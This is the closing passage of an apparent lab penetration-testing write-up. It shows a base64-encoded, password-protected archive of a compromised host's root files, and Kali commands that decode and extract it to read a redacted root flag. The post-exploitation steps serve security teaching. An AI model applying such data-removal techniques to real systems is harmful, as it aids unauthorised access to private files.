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
...
...switch machines...
...
root@kali:~/pentest/10.58-node/02-exploitation/01-privesc/success-root# vim root.txt
root@kali:~/pentest/10.58-node/02-exploitation/01-privesc/success-root# base64 -d root.txt > root.zip
root@kali:~/pentest/10.58-node/02-exploitation/01-privesc/success-root# rm root.txt
root@kali:~/pentest/10.58-node/02-exploitation/01-privesc/success-root# 7z x root.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-4960HQ CPU @ 2.60GHz (40661),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3858 bytes (4 KiB)

Extracting archive: root.zip
--
Path = root.zip
Type = zip
Physical Size = 3858

Enter password (will not be echoed):
Everything is Ok

Folders: 3
Files: 7
Size: 4268
Compressed: 3858
root@kali:~/pentest/10.58-node/02-exploitation/01-privesc/success-root# ls
root root.zip
root@kali:~/pentest/10.58-node/02-exploitation/01-privesc/success-root# cd root/
root@kali:~/pentest/10.58-node/02-exploitation/01-privesc/success-root/root# ls
root.txt
root@kali:~/pentest/10.58-node/02-exploitation/01-privesc/success-root/root# cat root.txt
REDACTED-FLAG

And now we successfully have the root.txt flag!

Kevin Kirsche

Author Kevin Kirsche

Kevin is a Principal Security Architect with Verizon. He holds the OSCP, OSWP, OSCE, and SLAE certifications. He is interested in learning more about building exploits and advanced penetration testing concepts.

More posts by Kevin Kirsche

Leave a Reply